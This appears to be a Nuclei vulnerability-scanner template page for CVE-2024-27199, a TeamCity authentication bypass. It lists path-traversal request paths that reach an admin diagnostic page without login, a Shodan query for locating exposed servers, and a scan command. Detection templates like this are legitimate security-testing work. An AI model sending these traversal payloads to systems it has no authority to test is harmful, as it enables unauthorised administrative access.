Skip to content

TeamCity < 2023.11.4 - Authentication Bypass

ID: CVE-2024-27199

Severity: high

Author: DhiyaneshDk

Tags: cve,cve2024,teamcity,jetbrains,auth-bypass

In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible

id: CVE-2024-27199
info:
name: TeamCity < 2023.11.4 - Authentication Bypass
author: DhiyaneshDk
severity: high
description: |
In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible
reference:
- https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
- https://nvd.nist.gov/vuln/detail/CVE-2024-27199
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cwe-id: CWE-23
cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
shodan-query: http.component:"TeamCity"
product: teamcity
vendor: jetbrains
tags: cve,cve2024,teamcity,jetbrains,auth-bypass
http:
- method: GET
path:
- "{{BaseURL}}/res/../admin/diagnostic.jsp"
- "{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp"
- "{{BaseURL}}/update/../admin/diagnostic.jsp"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(header, "text/html")'
- 'contains_all(body, "Debug Logging", "CPU & Memory Usage")'
condition: and
# digest: 4a0a00473045022060a654d8c8d3c7f34539aa4084a08554ab7179a000c46f5c4ab8fddcc79b65e4022100829c0aa5e2ceb16a7394924c7afcc07fd923dd03db8124b523752101125ba567:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-27199.yaml"

View on Github